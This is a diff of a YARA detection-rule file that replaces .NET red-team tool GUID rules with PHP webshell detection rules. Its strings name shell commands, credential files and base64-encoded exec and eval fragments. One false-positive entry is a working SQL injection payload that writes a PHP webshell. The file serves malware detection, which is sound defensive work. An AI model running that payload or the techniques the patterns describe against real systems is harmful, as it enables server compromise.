+		hash = "2967f38c26b131f00276bcc21227e54ee6a71881da1d27ec5157d83c4c9d4f51"
+		hash = "1ba02fb573a06d5274e30b2b05573305294497769414e964a097acb5c352fb92"
+		hash = "f4fe8e3b2c39090ca971a8e61194fdb83d76fadbbace4c5eb15e333df61ce2a4"
+		hash = "badda1053e169fea055f5edceae962e500842ad15a5d31968a0a89cf28d89e91"
+		hash = "0a29cf1716e67a7932e604c5d3df4b7f372561200c007f00131eef36f9a4a6a2"
+		hash = "51c2c8b94c4b8cce806735bcf6e5aa3f168f0f7addce47b699b9a4e31dc71b47"
+		hash = "de1ef827bcd3100a259f29730cb06f7878220a7c02cee0ebfc9090753d2237a8"
+		hash = "487e8c08e85774dfd1f5e744050c08eb7d01c6877f7d03d7963187748339e8c4"
+		logic_hash = "e12dec5252a816c10443fe0e0b40b0b9b4a187b32facd8e09e1f057801da25f9"
+		score = 60
+		quality = -153
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "4eee900e-adc5-46a7-8d7d-873fd6aea83e" ascii wide
-		$typelibguid0up = "4EEE900E-ADC5-46A7-8D7D-873FD6AEA83E" ascii wide
+		$gfp1 = "eval(\"return [$serialised_parameter"
+		$gfp2 = "$this->assert(strpos($styles, $"
+		$gfp3 = "$module = new $_GET['module']($_GET['scope']);"
+		$gfp4 = "$plugin->$_POST['action']($_POST['id']);"
+		$gfp5 = "$_POST[partition_by]($_POST["
+		$gfp6 = "$object = new $_REQUEST['type']($_REQUEST['id']);"
+		$gfp7 = "The above example code can be easily exploited by passing in a string such as"
+		$gfp8 = "Smarty_Internal_Debug::start_render($_template);"
+		$gfp9 = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
+		$gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
+		$gfp11 = "(eval (getenv \"EPROLOG\")))"
+		$gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"
+		$gfp_tiny3 = "include \"./common.php\";"
+		$gfp_tiny4 = "assert('FALSE');"
+		$gfp_tiny5 = "assert(false);"
+		$gfp_tiny6 = "assert(FALSE);"
+		$gfp_tiny7 = "assert('array_key_exists("
+		$gfp_tiny8 = "echo shell_exec($aspellcommand . ' 2>&1');"
+		$gfp_tiny9 = "throw new Exception('Could not find authentication source with id ' . $sourceId);"
+		$gfp_tiny10 = "return isset( $_POST[ $key ] ) ? $_POST[ $key ] : ( isset( $_REQUEST[ $key ] ) ? $_REQUEST[ $key ] : $default );"
+		$inp1 = "php://input" wide ascii
+		$inp2 = /_GET\s?\[/ wide ascii
+		$inp3 = /\(\s?\$_GET\s?\)/ wide ascii
+		$inp4 = /_POST\s?\[/ wide ascii
+		$inp5 = /\(\s?\$_POST\s?\)/ wide ascii
+		$inp6 = /_REQUEST\s?\[/ wide ascii
+		$inp7 = /\(\s?\$_REQUEST\s?\)/ wide ascii
+		$inp15 = "_SERVER['HTTP_" wide ascii
+		$inp16 = "_SERVER[\"HTTP_" wide ascii
+		$inp17 = /getenv[\t ]{0,20}\([\t ]{0,20}['"]HTTP_/ wide ascii
+		$inp18 = "array_values($_SERVER)" wide ascii
+		$inp19 = /file_get_contents\("https?:\/\// wide ascii
+		$callback1 = /\bob_start[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback2 = /\barray_diff_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback3 = /\barray_diff_ukey[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback4 = /\barray_filter[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback5 = /\barray_intersect_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback6 = /\barray_intersect_ukey[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback7 = /\barray_map[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback8 = /\barray_reduce[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback9 = /\barray_udiff_assoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback10 = /\barray_udiff_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback11 = /\barray_udiff[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback12 = /\barray_uintersect_assoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback13 = /\barray_uintersect_uassoc[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback14 = /\barray_uintersect[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback15 = /\barray_walk_recursive[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback16 = /\barray_walk[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback17 = /\bassert_options[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback18 = /\buasort[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback19 = /\buksort[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback20 = /\busort[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback21 = /\bpreg_replace_callback[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback22 = /\bspl_autoload_register[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback23 = /\biterator_apply[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback24 = /\bcall_user_func[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback25 = /\bcall_user_func_array[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback26 = /\bregister_shutdown_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback27 = /\bregister_tick_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback28 = /\bset_error_handler[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback29 = /\bset_exception_handler[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback30 = /\bsession_set_save_handler[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback31 = /\bsqlite_create_aggregate[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback32 = /\bsqlite_create_function[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$callback33 = /\bmb_ereg_replace_callback[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$m_callback1 = /\bfilter_var[\n\t ]{0,500}(\([^)]|\/\*)/ nocase wide ascii
+		$m_callback2 = "FILTER_CALLBACK" fullword wide ascii
+		$cfp1 = /ob_start\(['\"]ob_gzhandler/ nocase wide ascii
+		$cfp2 = "IWPML_Backend_Action_Loader" ascii wide
+		$cfp3 = "<?phpclass WPML" ascii
+		$gen_bit_sus1 = /:\s{0,20}eval}/ nocase wide ascii
+		$gen_bit_sus2 = /\.replace\(\/\w\/g/ nocase wide ascii
+		$gen_bit_sus6 = "self.delete"
+		$gen_bit_sus9 = "\"cmd /c" nocase
+		$gen_bit_sus10 = "\"cmd\"" nocase
+		$gen_bit_sus11 = "\"cmd.exe" nocase
+		$gen_bit_sus12 = "%comspec%" wide ascii
+		$gen_bit_sus13 = "%COMSPEC%" wide ascii
+		$gen_bit_sus18 = "Hklm.GetValueNames();" nocase
+		$gen_bit_sus19 = "http://schemas.microsoft.com/exchange/" wide ascii
+		$gen_bit_sus21 = "\"upload\"" wide ascii
+		$gen_bit_sus22 = "\"Upload\"" wide ascii
+		$gen_bit_sus23 = "UPLOAD" fullword wide ascii
+		$gen_bit_sus24 = "fileupload" wide ascii
+		$gen_bit_sus25 = "file_upload" wide ascii
+		$gen_bit_sus29 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" fullword wide ascii
+		$gen_bit_sus29b = "abcdefghijklmnopqrstuvwxyz234567" fullword wide ascii
+		$gen_bit_sus30 = "serv-u" wide ascii
+		$gen_bit_sus31 = "Serv-u" wide ascii
+		$gen_bit_sus32 = "Army" fullword wide ascii
+		$gen_bit_sus33 = /\$_(GET|POST|REQUEST)\["\w"\]/ fullword wide ascii
+		$gen_bit_sus34 = "Content-Transfer-Encoding: Binary" wide ascii
+		$gen_bit_sus35 = "crack" fullword wide ascii
+		$gen_bit_sus44 = "<pre>" wide ascii
+		$gen_bit_sus45 = "<PRE>" wide ascii
+		$gen_bit_sus46 = "shell_" wide ascii
+		$gen_bit_sus50 = "bypass" wide ascii
+		$gen_bit_sus52 = " ^ $" wide ascii
+		$gen_bit_sus53 = ".ssh/authorized_keys" wide ascii
+		$gen_bit_sus55 = /\w'\.'\w/ wide ascii
+		$gen_bit_sus56 = /\w\"\.\"\w/ wide ascii
+		$gen_bit_sus57 = "dumper" wide ascii
+		$gen_bit_sus59 = "'cmd'" wide ascii
+		$gen_bit_sus60 = "\"execute\"" wide ascii
+		$gen_bit_sus61 = "/bin/sh" wide ascii
+		$gen_bit_sus62 = "Cyber" wide ascii
+		$gen_bit_sus63 = "portscan" fullword wide ascii
+		$gen_bit_sus66 = "whoami" fullword wide ascii
+		$gen_bit_sus67 = "$password='" fullword wide ascii
+		$gen_bit_sus68 = "$password=\"" fullword wide ascii
+		$gen_bit_sus69 = "$cmd" fullword wide ascii
+		$gen_bit_sus70 = "\"?>\"." fullword wide ascii
+		$gen_bit_sus71 = "Hacking" fullword wide ascii
+		$gen_bit_sus72 = "hacking" fullword wide ascii
+		$gen_bit_sus73 = ".htpasswd" wide ascii
+		$gen_bit_sus74 = /\btouch\(\$[^,]{1,30},/ wide ascii
+		$gen_much_sus7 = "Web Shell" nocase
+		$gen_much_sus8 = "WebShell" nocase
+		$gen_much_sus3 = "hidded shell"
+		$gen_much_sus4 = "WScript.Shell.1" nocase
+		$gen_much_sus5 = "AspExec"
+		$gen_much_sus14 = "\\pcAnywhere\\" nocase
+		$gen_much_sus15 = "antivirus" nocase
+		$gen_much_sus16 = "McAfee" nocase
+		$gen_much_sus17 = "nishang"
+		$gen_much_sus18 = "\"unsafe" fullword wide ascii
+		$gen_much_sus19 = "'unsafe" fullword wide ascii
+		$gen_much_sus24 = "exploit" fullword wide ascii
+		$gen_much_sus25 = "Exploit" fullword wide ascii
+		$gen_much_sus26 = "TVqQAAMAAA" wide ascii
+		$gen_much_sus30 = "Hacker" wide ascii
+		$gen_much_sus31 = "HACKED" fullword wide ascii
+		$gen_much_sus32 = "hacked" fullword wide ascii
+		$gen_much_sus33 = "hacker" wide ascii
+		$gen_much_sus34 = "grayhat" nocase wide ascii
+		$gen_much_sus35 = "Microsoft FrontPage" wide ascii
+		$gen_much_sus36 = "Rootkit" wide ascii
+		$gen_much_sus37 = "rootkit" wide ascii
+		$gen_much_sus38 = "/*-/*-*/" wide ascii
+		$gen_much_sus39 = "u\"+\"n\"+\"s" wide ascii
+		$gen_much_sus40 = "\"e\"+\"v" wide ascii
+		$gen_much_sus41 = "a\"+\"l\"" wide ascii
+		$gen_much_sus42 = "\"+\"(\"+\"" wide ascii
+		$gen_much_sus43 = "q\"+\"u\"" wide ascii
+		$gen_much_sus44 = "\"u\"+\"e" wide ascii
+		$gen_much_sus45 = "/*//*/" wide ascii
+		$gen_much_sus46 = "(\"/*/\"" wide ascii
+		$gen_much_sus47 = "eval(eval(" wide ascii
+		$gen_much_sus48 = "unlink(__FILE__)" wide ascii
+		$gen_much_sus49 = "Shell.Users" wide ascii
+		$gen_much_sus50 = "PasswordType=Regular" wide ascii
+		$gen_much_sus51 = "-Expire=0" wide ascii
+		$gen_much_sus60 = "_=$$_" wide ascii
+		$gen_much_sus61 = "_=$$_" wide ascii
+		$gen_much_sus62 = "++;$" wide ascii
+		$gen_much_sus63 = "++; $" wide ascii
+		$gen_much_sus64 = "_.=$_" wide ascii
+		$gen_much_sus70 = "-perm -04000" wide ascii
+		$gen_much_sus71 = "-perm -02000" wide ascii
+		$gen_much_sus72 = "grep -li password" wide ascii
+		$gen_much_sus73 = "-name config.inc.php" wide ascii
+		$gen_much_sus75 = "password crack" wide ascii
+		$gen_much_sus76 = "mysqlDll.dll" wide ascii
+		$gen_much_sus77 = "net user" wide ascii
+		$gen_much_sus80 = "fopen(\".htaccess\",\"w" wide ascii
+		$gen_much_sus81 = /strrev\(['"]/ wide ascii
+		$gen_much_sus82 = "PHPShell" fullword wide ascii
+		$gen_much_sus821 = "PHP Shell" fullword wide ascii
+		$gen_much_sus83 = "phpshell" fullword wide ascii
+		$gen_much_sus84 = "PHPshell" fullword wide ascii
+		$gen_much_sus87 = "deface" wide ascii
+		$gen_much_sus88 = "Deface" wide ascii
+		$gen_much_sus89 = "backdoor" wide ascii
+		$gen_much_sus90 = "r00t" fullword wide ascii
+		$gen_much_sus91 = "xp_cmdshell" fullword wide ascii
+		$gen_much_sus92 = "base64_decode(base64_decode(" fullword wide ascii
+		$gen_much_sus93 = "eval(\"/*" wide ascii
+		$gen_much_sus94 = "http_response_code(404)" wide ascii
+		$gif = { 47 49 46 38 }
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		not ( any of ($gfp*)) and not ( any of ($gfp_tiny*)) and ( any of ($inp*)) and ( not any of ($cfp*) and ( any of ($callback*) or all of ($m_callback*))) and ( filesize <1000 or ($gif at 0 or ( filesize <4KB and (1 of ($gen_much_sus*) or 2 of ($gen_bit_sus*))) or ( filesize <20KB and (2 of ($gen_much_sus*) or 3 of ($gen_bit_sus*))) or ( filesize <50KB and (2 of ($gen_much_sus*) or 4 of ($gen_bit_sus*))) or ( filesize <100KB and (2 of ($gen_much_sus*) or 6 of ($gen_bit_sus*))) or ( filesize <150KB and (3 of ($gen_much_sus*) or 7 of ($gen_bit_sus*))) or ( filesize <500KB and (4 of ($gen_much_sus*) or 8 of ($gen_bit_sus*)))))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_IIS_Backdoor : FILE
+rule SIGNATURE_BASE_WEBSHELL_PHP_Base64_Encoded_Payloads : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "php webshell containing base64 encoded payload"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "44264dd9-f8e9-5a60-847f-94378e07a327"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/WBGlIl/IIS_backdoor"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2123-L2139"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "fbf6c641c9cede86867a88b62d5287d918edd67ae9f7228b5243d050a6487345"
+		id = "4e42b47d-725b-5e1f-9408-6c6329f60506"
+		date = "2021-01-07"
+		modified = "2023-04-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L719-L869"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "88d0d4696c9cb2d37d16e330e236cb37cfaec4cd"
+		hash = "e3b4e5ec29628791f836e15500f6fdea19beaf3e8d9981c50714656c50d3b365"
+		hash = "e726cd071915534761822805724c6c6bfe0fcac604a86f09437f03f301512dc5"
+		hash = "39b8871928d00c7de8d950d25bff4cb19bf9bd35942f7fee6e0f397ff42fbaee"
+		hash = "8cc9802769ede56f1139abeaa0735526f781dff3b6c6334795d1d0f19161d076"
+		hash = "4cda0c798908b61ae7f4146c6218d7b7de14cbcd7c839edbdeb547b5ae404cd4"
+		hash = "afd9c9b0df0b2ca119914ea0008fad94de3bd93c6919f226b793464d4441bdf4"
+		hash = "b2048dc30fc7681094a0306a81f4a4cc34f0b35ccce1258c20f4940300397819"
+		hash = "da6af9a4a60e3a484764010fbf1a547c2c0a2791e03fc11618b8fc2605dceb04"
+		hash = "222cd9b208bd24955bcf4f9976f9c14c1d25e29d361d9dcd603d57f1ea2b0aee"
+		hash = "98c1937b9606b1e8e0eebcb116a784c9d2d3db0039b21c45cba399e86c92c2fa"
+		hash = "6b6cd1ef7e78e37cbcca94bfb5f49f763ba2f63ed8b33bc4d7f9e5314c87f646"
+		hash = "51c2c8b94c4b8cce806735bcf6e5aa3f168f0f7addce47b699b9a4e31dc71b47"
+		hash = "7a16311a371f03b29d5220484e7ecbe841cfaead4e73c17aa6a9c23b5d94544d"
+		hash = "e2b1dfcfaa61e92526a3a444be6c65330a8db4e692543a421e19711760f6ffe2"
+		logic_hash = "8f606dc3e1e688cca144fe769af50980b4c25fa69b08c67aca8c676a6a060010"
 		score = 75
-		quality = 85
+		quality = 17
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "3fda4aa9-6fc1-473f-9048-7edc058c4f65" ascii wide
-		$typelibguid0up = "3FDA4AA9-6FC1-473F-9048-7EDC058C4F65" ascii wide
-		$typelibguid1lo = "73ca4159-5d13-4a27-8965-d50c41ab203c" ascii wide
-		$typelibguid1up = "73CA4159-5D13-4A27-8965-D50C41AB203C" ascii wide
+		$decode1 = "base64_decode" fullword nocase wide ascii
+		$decode2 = "openssl_decrypt" fullword nocase wide ascii
+		$one1 = "leGVj"
+		$one2 = "V4ZW"
+		$one3 = "ZXhlY"
+		$one4 = "UAeABlAGMA"
+		$one5 = "lAHgAZQBjA"
+		$one6 = "ZQB4AGUAYw"
+		$two1 = "zaGVsbF9leGVj"
+		$two2 = "NoZWxsX2V4ZW"
+		$two3 = "c2hlbGxfZXhlY"
+		$two4 = "MAaABlAGwAbABfAGUAeABlAGMA"
+		$two5 = "zAGgAZQBsAGwAXwBlAHgAZQBjA"
+		$two6 = "cwBoAGUAbABsAF8AZQB4AGUAYw"
+		$three1 = "wYXNzdGhyd"
+		$three2 = "Bhc3N0aHJ1"
+		$three3 = "cGFzc3Rocn"
+		$three4 = "AAYQBzAHMAdABoAHIAdQ"
+		$three5 = "wAGEAcwBzAHQAaAByAHUA"
+		$three6 = "cABhAHMAcwB0AGgAcgB1A"
+		$four1 = "zeXN0ZW"
+		$four2 = "N5c3Rlb"
+		$four3 = "c3lzdGVt"
+		$four4 = "MAeQBzAHQAZQBtA"
+		$four5 = "zAHkAcwB0AGUAbQ"
+		$four6 = "cwB5AHMAdABlAG0A"
+		$five1 = "wb3Blb"
+		$five2 = "BvcGVu"
+		$five3 = "cG9wZW"
+		$five4 = "AAbwBwAGUAbg"
+		$five5 = "wAG8AcABlAG4A"
+		$five6 = "cABvAHAAZQBuA"
+		$six1 = "wcm9jX29wZW"
+		$six2 = "Byb2Nfb3Blb"
+		$six3 = "cHJvY19vcGVu"
+		$six4 = "AAcgBvAGMAXwBvAHAAZQBuA"
+		$six5 = "wAHIAbwBjAF8AbwBwAGUAbg"
+		$six6 = "cAByAG8AYwBfAG8AcABlAG4A"
+		$seven1 = "wY250bF9leGVj"
+		$seven2 = "BjbnRsX2V4ZW"
+		$seven3 = "cGNudGxfZXhlY"
+		$seven4 = "AAYwBuAHQAbABfAGUAeABlAGMA"
+		$seven5 = "wAGMAbgB0AGwAXwBlAHgAZQBjA"
+		$seven6 = "cABjAG4AdABsAF8AZQB4AGUAYw"
+		$eight1 = "ldmFs"
+		$eight2 = "V2YW"
+		$eight3 = "ZXZhb"
+		$eight4 = "UAdgBhAGwA"
+		$eight5 = "lAHYAYQBsA"
+		$eight6 = "ZQB2AGEAbA"
+		$nine1 = "hc3Nlcn"
+		$nine2 = "Fzc2Vyd"
+		$nine3 = "YXNzZXJ0"
+		$nine4 = "EAcwBzAGUAcgB0A"
+		$nine5 = "hAHMAcwBlAHIAdA"
+		$nine6 = "YQBzAHMAZQByAHQA"
+		$execu1 = "leGVjd"
+		$execu2 = "V4ZWN1"
+		$execu3 = "ZXhlY3"
+		$esystem1 = "lc3lzdGVt"
+		$esystem2 = "VzeXN0ZW"
+		$esystem3 = "ZXN5c3Rlb"
+		$opening1 = "vcGVuaW5n"
+		$opening2 = "9wZW5pbm"
+		$opening3 = "b3BlbmluZ"
+		$fp1 = { D0 CF 11 E0 A1 B1 1A E1 }
+		$fp2 = "YXBpLnRlbGVncmFtLm9"
+		$fp3 = " GET /"
+		$fp4 = " POST /"
+		$fpa1 = "/cn=Recipients"
+		$php_short = "<?" wide ascii
+		$no_xml1 = "<?xml version" nocase wide ascii
+		$no_xml2 = "<?xml-stylesheet" nocase wide ascii
+		$no_asp1 = "<%@LANGUAGE" nocase wide ascii
+		$no_asp2 = /<script language="(vb|jscript|c#)/ nocase wide ascii
+		$no_pdf = "<?xpacket"
+		$php_new1 = /<\?=[^?]/ wide ascii
+		$php_new2 = "<?php" nocase wide ascii
+		$php_new3 = "<script language=\"php" nocase wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <300KB and ((($php_short in (0..100) or $php_short in ( filesize -1000.. filesize )) and not any of ($no_*)) or any of ($php_new*)) and not any of ($fp*) and any of ($decode*) and (( any of ($one*) and not any of ($execu*)) or any of ($two*) or any of ($three*) or ( any of ($four*) and not any of ($esystem*)) or ( any of ($five*) and not any of ($opening*)) or any of ($six*) or any of ($seven*) or any of ($eight*) or any of ($nine*))
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Shellgen : FILE
+rule SIGNATURE_BASE_WEBSHELL_PHP_Unknown_1 : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "obfuscated php webshell"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "538a4f12-5020-5c76-9208-363f435ed9a9"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/jasondrawdy/ShellGen"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2141-L2155"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "ed7204d27cae6e0bcbe42247775e5eb20a968c5816f71135c7e2c92cc7fdffc5"
+		id = "93d01a4c-4c18-55d2-b682-68a1f6460889"
+		date = "2021-01-07"
+		modified = "2023-04-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L871-L893"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "12ce6c7167b33cc4e8bdec29fb1cfc44ac9487d1"
+		hash = "cf4abbd568ce0c0dfce1f2e4af669ad2"
+		logic_hash = "ce2d4c87c001a45febf7eac5474aa0d24ea73067f9154203ef5653bf77e7028f"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "c6894882-d29d-4ae1-aeb7-7d0a9b915013" ascii wide
-		$typelibguid0up = "C6894882-D29D-4AE1-AEB7-7D0A9B915013" ascii wide
+		$sp0 = /^<\?php \$[a-z]{3,30} = '/ wide ascii
+		$sp1 = "=explode(chr(" wide ascii
+		$sp2 = "; if (!function_exists('" wide ascii
+		$sp3 = " = NULL; for(" wide ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
+		filesize <300KB and all of ($sp*)
 }
-import "pe"
+import "math"
 
-rule SIGNATURE_BASE_HKTL_NET_GUID_Mass_RAT : FILE
+rule SIGNATURE_BASE_WEBSHELL_PHP_Generic_Eval : FILE
 {
 	meta:
-		description = "Detects c# red/black-team tools via typelibguid"
+		description = "Generic PHP webshell which uses any eval/exec function in the same line with user input"
 		author = "Arnim Rupp (https://github.com/ruppde)"
-		id = "90b742da-6fd7-5c72-96cf-7a37a3e5d808"
-		date = "2020-12-13"
-		modified = "2023-04-06"
-		reference = "https://github.com/NYAN-x-CAT/Mass-RAT"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_github_net_redteam_tools_guids.yar#L2157-L2175"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "540620ade0225df3fa207052c3904584672eb5bdccaa523e28a1a2aced604ef9"
+		id = "79cfbd88-f6f7-5cba-a325-0a99962139ca"
+		date = "2021-01-07"
+		modified = "2023-04-05"
+		reference = "Internal Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_webshells.yar#L895-L954"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "a61437a427062756e2221bfb6d58cd62439d09d9"
+		hash = "90c5cc724ec9cf838e4229e5e08955eec4d7bf95"
+		hash = "2b41abc43c5b6c791d4031005bf7c5104a98e98a00ee24620ce3e8e09a78e78f"
+		hash = "5c68a0fa132216213b66a114375b07b08dc0cb729ddcf0a29bff9ca7a22eaaf4"
+		hash = "de3c01f55d5346577922bbf449faaaaa1c8d1aaa64c01e8a1ee8c9d99a41a1be"
+		hash = "124065176d262bde397b1911648cea16a8ff6a4c8ab072168d12bf0662590543"
+		hash = "cd7450f3e5103e68741fd086df221982454fbcb067e93b9cbd8572aead8f319b"
+		hash = "ab835ce740890473adf5cc804055973b926633e39c59c2bd98da526b63e9c521"
+		hash = "31ff9920d401d4fbd5656a4f06c52f1f54258bc42332fc9456265dca7bb4c1ea"
+		hash = "64e6c08aa0b542481b86a91cdf1f50c9e88104a8a4572a8c6bd312a9daeba60e"
+		hash = "80e98e8a3461d7ba15d869b0641cdd21dd5b957a2006c3caeaf6f70a749ca4bb"
+		hash = "93982b8df76080e7ba4520ae4b4db7f3c867f005b3c2f84cb9dff0386e361c35"
+		hash = "51c2c8b94c4b8cce806735bcf6e5aa3f168f0f7addce47b699b9a4e31dc71b47"
+		hash = "7a16311a371f03b29d5220484e7ecbe841cfaead4e73c17aa6a9c23b5d94544d"
+		hash = "7ca5dec0515dd6f401cb5a52c313f41f5437fc43eb62ea4bcc415a14212d09e9"
+		hash = "fd5f0f81204ca6ca6e93343500400d5853012e88254874fc9f62efe0fde7ab3c"
+		hash = "883f48ed4e9646da078cabf6b8b4946d9f199660262502650f76450ecf60ddd5"
+		hash = "6d042b6393669bb4d98213091cabe554ab192a6c916e86c04d06cc2a4ca92c00"
+		hash = "dd5d8a9b4bb406e0b8f868165a1714fe54ffb18e621582210f96f6e5ae850b33"
+		logic_hash = "2ab73d02c92c4feb5b3f942fba1c5747406956e194f877bb7cf781450152a88c"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		importance = 70
 
 	strings:
-		$typelibguid0lo = "6c43a753-9565-48b2-a372-4210bb1e0d75" ascii wide
-		$typelibguid0up = "6C43A753-9565-48B2-A372-4210BB1E0D75" ascii wide
-		$typelibguid1lo = "92ba2a7e-c198-4d43-929e-1cfe54b64d95" ascii wide
-		$typelibguid1up = "92BA2A7E-C198-4D43-929E-1CFE54B64D95" ascii wide
-		$typelibguid2lo = "4cb9bbee-fb92-44fa-a427-b7245befc2f3" ascii wide
-		$typelibguid2up = "4CB9BBEE-FB92-44FA-A427-B7245BEFC2F3" ascii wide
+		$geval = /\b(exec|shell_exec|passthru|system|popen|proc_open|pcntl_exec|eval|assert)[\t ]{0,500}(\(base64_decode)?(\(stripslashes)?[\t ]{0,500}(\(trim)?[\t ]{0,500}\(\$(_POST|_GET|_REQUEST|_SERVER\s?\[['"]HTTP_|GLOBALS\[['"]_(POST|GET|REQUEST))/ wide ascii
+		$gfp1 = "eval(\"return [$serialised_parameter"
+		$gfp2 = "$this->assert(strpos($styles, $"
+		$gfp3 = "$module = new $_GET['module']($_GET['scope']);"
+		$gfp4 = "$plugin->$_POST['action']($_POST['id']);"
+		$gfp5 = "$_POST[partition_by]($_POST["
+		$gfp6 = "$object = new $_REQUEST['type']($_REQUEST['id']);"
+		$gfp7 = "The above example code can be easily exploited by passing in a string such as"
+		$gfp8 = "Smarty_Internal_Debug::start_render($_template);"
+		$gfp9 = "?p4yl04d=UNION%20SELECT%20'<?%20system($_GET['command']);%20?>',2,3%20INTO%20OUTFILE%20'/var/www/w3bsh3ll.php"
+		$gfp10 = "[][}{;|]\\|\\\\[+=]\\|<?=>?"
+		$gfp11 = "(eval (getenv \"EPROLOG\")))"
+		$gfp12 = "ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saWNlbnNlLm9wZW5jYXJ0LWFwaS5jb20vbGljZW5zZS5waHA/b3JkZXJ"
